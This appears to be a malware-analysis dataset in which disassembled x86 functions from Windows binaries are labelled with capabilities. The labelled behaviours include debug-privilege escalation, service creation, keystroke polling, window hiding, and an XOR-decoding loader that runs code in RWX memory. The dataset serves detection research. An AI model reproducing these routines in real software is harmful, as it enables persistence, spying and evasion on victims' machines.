joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10042660
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10042810
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1004272d
mov edx, dword [ebp - 4]
cmp edx, dword [0x10050090]
jb 0x100426aa
mov eax, dword [ebp - 4]
cmp eax, dword [0x10050094]
ja 0x100426aa
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1004267a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100426d0
jmp 0x1004272d
cmp dword [ebp - 0x14], 0x10000
jne 0x10042713
cmp dword [ebp - 0x18], 0x10000
jb 0x10042713
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10042706
mov eax, dword [ebp - 8]
jmp 0x1004272f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10042728
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10042810
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1004267a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10042740
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10042840
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x10042805
mov edx, dword [ebp - 4]
cmp edx, dword [0x10050090]
jb 0x10042785
mov eax, dword [ebp - 4]
cmp eax, dword [0x10050094]
ja 0x10042785
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10042755
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100427ab
jmp 0x10042805
cmp dword [ebp - 0x14], 0x10000
jne 0x100427ee
cmp dword [ebp - 0x18], 0x10000
jb 0x100427ee
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100427e1
mov eax, dword [ebp - 8]
jmp 0x10042807
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10042800
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10042840
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10042755
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401250
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40126f
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x401296
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add esp, 0x1c
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4012e3
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add esp, 0x1c
ret
mov eax, 1
add esp, 0x1c
ret

Function at 0x4012f0
Capabilities:
Create service
Modify service
Start service

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x401314
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
mov ebp, dword [esp + 0x28]
push 0
mov ebx, dword [esp + 0x30]
push 0
push 0
push 0
push 0
push ebp
push 0
push 3
push 1
push 0x1f01ff
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x40138c
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x401390
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
push 0
push 3
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x40138c
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret
test esi, esi
jne 0x4013a1
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret
lea eax, [esp + 0x10]
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
lea ecx, [esp + 0x18]
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea edx, [esp + 0x10]
push edx
push 4
push esi
call dword [sym.imp.ADVAPI32.dll_SetServiceObjectSecurity]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x4013f2
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x14
ret
Function at 0x100053c2
Capabilities:
Terminate process

Disassembly:
push 0x10
mov eax, 0x1001ac1b
call fcn.1001a456
mov ebx, dword [ebp + 8]
cmp dword [ebx + 0x10], 1
ja 0x100053ea
mov ecx, dword [0x10029d48]
call fcn.100043a3
test al, al
jne 0x100053ea
xor cl, cl
jmp 0x100053ec
mov cl, 1
mov edx, dword [ebp + 0xc]
mov byte [ebp - 0x10], cl
test edx, edx
jne 0x1000542c
mov eax, dword [ebx + 0xc]
mov esi, dword [eax]
cmp esi, eax
je 0x10005550
cmp dword [esi + 8], 0
je 0x1000541d
movzx eax, cl
mov ecx, dword [esi + 8]
push eax
push dword [ebp + 0x10]
push 0x402
call fcn.1000e8c7
mov esi, dword [esi]
mov cl, byte [ebp - 0x10]
cmp esi, dword [ebx + 0xc]
jne 0x10005403
jmp 0x10005550
mov edi, dword [ebx + 0xc]
xor cl, cl
mov esi, dword [edi]
jmp 0x1000543f
mov eax, dword [esi + 8]
cmp edx, dword [eax + 0x10]
je 0x10005445
mov esi, dword [esi]
cmp esi, edi
jne 0x10005435
jmp 0x10005492
mov ecx, dword [eax + 0x50]
mov edx, dword [eax + 0x54]
mov eax, ecx
or eax, edx
mov byte [ebp + 0xb], 1
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
je 0x10005477
call dword [sym.imp.kernel32.dll_GetTickCount64]
sub eax, dword [ebp - 0x14]
sbb edx, dword [ebp - 0x18]
mov dword [ebp - 0x18], edx
jne 0x10005473
cmp eax, 0x1388
jbe 0x10005477
mov edi, esi
jmp 0x1000548c
movzx eax, byte [ebp - 0x10]
mov ecx, dword [esi + 8]
push eax
push dword [ebp + 0x10]
push 0x402
call fcn.1000e8c7
mov cl, byte [ebp + 0xb]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebx + 0xc]
cmp edi, eax
jne 0x100054c7
test cl, cl
jne 0x10005550
mov esi, dword [eax]
cmp esi, eax
je 0x10005550
mov ecx, dword [esi + 8]
push 1
push dword [ebp - 0x10]
push dword [ebp + 0x10]
call fcn.1000e8c7
mov esi, dword [esi]
cmp esi, dword [ebx + 0xc]
jne 0x100054ab
jmp 0x10005550
mov esi, dword [eax]
cmp esi, eax
je 0x100054ec
mov ecx, dword [esi + 8]
cmp edx, dword [ecx + 0x10]
je 0x100054e5
push 1
push dword [ebp - 0x10]
push dword [ebp + 0x10]
call fcn.1000e8c7
mov edx, dword [ebp + 0xc]
mov esi, dword [esi]
cmp esi, dword [ebx + 0xc]
jne 0x100054cd
mov ecx, dword [edi + 8]
push 1
push dword [ebp - 0x10]
push 0x80043074
call fcn.1000e8c7
push 0
lea ecx, [ebx + 0x3c]
call fcn.1000e8c7
mov esi, 0x10029eb0
push esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
mov eax, dword [0x10029d58]
test eax, eax
je 0x1000552b
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
and dword [0x10029d58], 0
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov esi, eax
push 1
push esi
call dword [sym.imp.kernel32.dll_TerminateProcess]
test eax, eax
je 0x10005550
push 0xffffffffffffffff
push esi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
xor eax, eax
call fcn.1001a427
ret 0xc
Function at 0x1000ce6b
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 0
push dword [eax + 0x40]
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop ebp
ret 4
Function at 0x1000ddaa
Capabilities:
Log keystrokes via polling

Disassembly:
push 0xc
mov eax, 0x1001b43b
call fcn.1001a456
and dword [ebp - 0x14], 0
xor ecx, ecx
and dword [ebp - 0x18], 0
inc ecx
mov edi, dword [ebp + 0xc]
mov byte [ebp - 0xd], cl
test edi, edi
jne 0x1000ddd5
mov esi, 0x80070057
jmp 0x1000df49
mov ebx, dword [ebp + 8]
xor esi, esi
cmp dword [edi + 8], 0x1b
jne 0x1000de05
lea eax, [ebp + 0xf]
mov byte [ebp + 0xf], 0
lea ecx, [ebx - 0x14]
push eax
call fcn.1000e8c7
mov esi, eax
test esi, esi
js 0x1000de02
cmp byte [ebp + 0xf], 0
je 0x1000de02
mov byte [ebp - 0xd], 0
jmp 0x1000de64
xor ecx, ecx
inc ecx
mov eax, dword [edi + 4]
sub eax, 0x100
je 0x1000de33
sub eax, 1
je 0x1000de2c
sub eax, 3
je 0x1000de25
sub eax, 1
jne 0x1000de64
mov eax, dword [0x10029d28]
jmp 0x1000de38
mov eax, dword [0x10029d30]
jmp 0x1000de38
mov eax, dword [0x10029d24]
jmp 0x1000de38
mov eax, dword [0x10029d2c]
test eax, eax
je 0x1000de64
cmp dword [ebx + 0xc4], 0
jne 0x1000de4d
cmp dword [ebx + 0x18], 0
jne 0x1000de4d
xor cl, cl
push ecx
push dword [edi + 0xc]
lea ecx, [ebx - 0x14]
push dword [edi + 8]
push eax
call fcn.1000d1e8
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x1000dee1
cmp dword [ebx + 0xc4], 4
jne 0x1000de7a
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x5b4
je 0x1000dee1
cmp dword [edi + 4], 0x100
je 0x1000de8c
cmp dword [edi + 4], 0x101
jne 0x1000dea7
cmp dword [edi + 8], 0x1b
jne 0x1000dea7
cmp dword [ebx + 0xc4], 0
jne 0x1000dea7
cmp dword [ebx + 0x18], 0
jne 0x1000dea7
cmp byte [ebp - 0xd], 0
jne 0x1000dee1
mov ecx, dword [ebx + 0x34]
xor esi, esi
test ecx, ecx
je 0x1000dec0
mov eax, dword [ecx]
lea edx, [ebp - 0x18]
push edx
push 0x1001d700
push ecx
call dword [eax]
mov esi, eax
test esi, esi
js 0x1000df49
cmp dword [ebp - 0x18], 0
jne 0x1000ded5
mov esi, 0x8000ffff
jmp 0x1000df49
mov eax, dword [ebp - 0x18]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov esi, eax
cmp esi, 1
jne 0x1000df3e
cmp dword [edi + 4], 0x100
jne 0x1000df0c
cmp dword [edi + 8], 9
jne 0x1000df3e
push 0
push dword [edi + 0xc]
lea ecx, [ebx - 0x14]
push 9
push dword [0x10029d40]
call fcn.1000d1e8
jmp 0x1000df41
cmp dword [edi + 4], 0x104
jne 0x1000df3e
cmp dword [edi + 8], 0x79
jne 0x1000df3e
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call edi
mov ebx, 0x8000
test bx, ax
je 0x1000df3e
push 0x10
call edi
test bx, ax
je 0x1000df3e
xor eax, eax
xor esi, esi
jmp 0x1000df41
mov eax, dword [ebp - 0x14]
test eax, eax
push 1
pop eax
cmovne esi, eax
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1000df5a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, esi
call fcn.1001a427
ret 8
Function at 0x1000e8c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1000e8d6
pop dword [ebp - 0x4c]
mov eax, 0x3db4a34d
add eax, 0xd24c4589
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x3a72de2a
add dword [ebp - 0x5c], 0x13df6721
mov dword [ebp - 0x58], 0xb1c241ea
sub dword [ebp - 0x58], 0x7f8ef5a5
mov dword [ebp - 0x54], 0xb383107c
add dword [ebp - 0x54], 0x98c933b2
mov dword [ebp - 0x50], 0x7ee19c8
add dword [ebp - 0x50], 0xf811e638
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x8fe1b5a7
sub eax, 0x7fdfe59f
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x3d04fb94
add dword [ebp - 0x5c], 0x376d6dc2
mov dword [ebp - 0x58], 0xdff44d58
sub dword [ebp - 0x58], 0x9e87ebe3
mov dword [ebp - 0x54], 0x478681b9
sub dword [ebp - 0x54], 0xe417154d
mov dword [ebp - 0x50], 0x80a58f79
sub dword [ebp - 0x50], 0x80a58f79
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x24f527f4
add eax, 0xeb0ca838
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x38e89
push 0
call eax
mov ecx, 0xf6a6129a
sub ecx, 0xf6a5d068
xor edi, edi
add edi, eax
mov ebx, 0xb9eac1c6
add ebx, 0x56181e3a
add ebx, dword [ebp - 0x4c]
mov edx, 0x36cb5ef0
add edx, 0xf5bf21b4
add dword [ebp - 0x14], 0x8f6815db
mov esi, dword [ebx]
mov dword [ebp - 0x18], 0xaab0da43
xor esi, edx
mov dword [edi], esi
xor dword [ebp - 0xc], 0xb6a3499
add edi, 0x50ea6a69
sub edi, 0x50ea6a65
add ebx, 0x82062f7f
sub ebx, 0x82062f7b
loop 0x1000e9fa
add eax, 0x915a5f21
add eax, 0x6ea69c7a
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x1000e5f0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1005dd03
call fcn.1005d828
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 0x14], 0x736e
cmp dword [ebp - 0x14], 0x747e
push edi
mov dword [ebp - 0x10], esp
jle 0x1000e645
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
xor esi, esi
xor edi, edi
mov eax, edi
mov ecx, 0x10607538
xor eax, esi
cdq
push edx
push eax
call fcn.1000e7af
inc edi
cmp edi, 0x2f98
jl 0x1000e622
inc esi
cmp esi, 0x55c8
jl 0x1000e620
and dword [ebp - 4], 0
cmp dword [ebp - 0x14], 0x7047
jge 0x1000e661
mov edx, 0x100078cc
mov ecx, 0x10607538
call fcn.1001021f
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100107e6
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1005de3a
call fcn.1005d828
sub esp, 0x14
push ebx
push esi
mov dword [ebp - 0x1c], 0x2e69
mov eax, ecx
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
cmp dword [ebp - 0x1c], 0x2e92
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], eax
jle 0x10010853
xor edi, edi
xor esi, esi
mov dword [ebp - 0x14], esi
mov ebx, esi
mov esi, 0x8d9
mov eax, ebx
mov ecx, 0x10607538
xor eax, edi
cdq
push edx
push eax
call fcn.1000e7af
dec ebx
dec esi
jne 0x10010821
mov esi, dword [ebp - 0x14]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x7cef
jl 0x1001081a
inc edi
cmp edi, 0x7d24
jl 0x10010815
mov eax, dword [ebp - 0x20]
xor ebx, ebx
lea esi, [eax + eax]
test esi, esi
je 0x1001087f
mov edi, dword [ebp + 8]
push 0x45
pop ecx
xor edx, edx
mov eax, ebx
div ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + ebx*4]
mov edx, dword [edi + edx*4]
call fcn.100107da
mov ecx, dword [ebp - 0x18]
mov dword [ecx + ebx*4], eax
inc ebx
cmp ebx, esi
jb 0x1001085d
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x2de1
jge 0x1001089b
mov edx, 0x10007a00
mov ecx, 0x10607538
call fcn.1001021f
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002906a
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100290b4
lea eax, [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x100290a1
push 0
push 0x23c5
push 0x328
push 0x2316
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
jmp 0x100290b2
push 0x1817
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x100290e2
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.10027c00
add esp, 0x14
mov esp, ebp
pop ebp
ret

Function at 0x1002a4a6
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1002a4ed
lea eax, [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1002a4e3
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x1002a4eb
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x1002a512
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x14]
push 0
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call fcn.1002d144
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x1002e075
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1002e0af
lea eax, [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1002e0a5
push 0x35
push 0x15dd
push 0xe33
call dword [sym.imp.GDI32.dll_GetPixel]
jmp 0x1002e0ad
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x1002e0cd
push 0x2bcf
push 1
push 0x2c87
push 0x3032
push 0x16dc
call fcn.10027c00
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x1003d375
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x1003d3be
lea eax, [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1003d3b2
push 0
push 0
push 0
push 0xbec
push 0xd47
push 0
push 0x18ab
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
jmp 0x1003d3bc
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
jmp 0x1003d42f
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1003d427
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1003d408
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x1003d425
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x20]
call fcn.1000e93c
mov dword [eax], 0xfffffffe
jmp 0x1003d3fd
jmp 0x1003d42f
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esp, ebp
pop ebp
ret
Function at 0x10040a1c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x10040a73
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x10040a53
push 0x1e6d
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x10040a71
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10040a71
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x10040a8f
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
push 1
push dword [ebp - 0x18]
call fcn.10027c2f
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x10040eea
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x10040f20
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
push 0x12db
push dword [ebp - 8]
push 0x30a5
push dword [ebp - 0xc]
push 1
call fcn.10040f6f
add esp, 0x14
jmp 0x10040f6b
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10040f4a
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10040f48
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
jmp 0x10040f6b
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x10040f6b
push 0x1721
call dword [sym.imp.USER32.dll_GetKeyState]
mov esp, ebp
pop ebp
ret
Function at 0x10059cf5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10064750]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1004be88
mov dword [ebp - 0x14], eax
cmp dword [0x1060859c], esi
jne 0x10059de8
push 0x800
push esi
push 0x10007510
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x10059d75
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10059ec8
push esi
push esi
push 0x10007510
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10059ec8
push 0x10007528
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10059ec8
push eax
call ebx
push 0x10007534
push edi
mov dword [0x1060859c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007544
push edi
mov dword [0x106085a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007558
push edi
mov dword [0x106085a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x106085ac], eax
test eax, eax
je 0x10059de5
push 0x10007574
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x106085a8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10059e0d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10059e00
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x10059e22
push 4
pop eax
jmp 0x10059eca
cmp dword [ebp - 0x14], esi
je 0x10059e22
push dword [0x1060859c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10059e07
mov eax, dword [0x106085a8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x10059e80
cmp dword [0x106085ac], edi
je 0x10059e80
push eax
call ebx
push dword [0x106085ac]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10059e80
test eax, eax
je 0x10059e80
call ecx
test eax, eax
je 0x10059e75
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10059e75
test byte [ebp - 8], 1
jne 0x10059e80
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x10059eb0
mov eax, dword [0x106085a0]
cmp eax, edi
je 0x10059ead
push eax
call ebx
test eax, eax
je 0x10059ead
call eax
mov esi, eax
test esi, esi
je 0x10059ead
mov eax, dword [0x106085a4]
cmp eax, edi
je 0x10059ead
push eax
call ebx
test eax, eax
je 0x10059ead
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1060859c]
call ebx
test eax, eax
je 0x10059ec8
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x10059eca
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004939c
mov esp, ebp
pop ebp
ret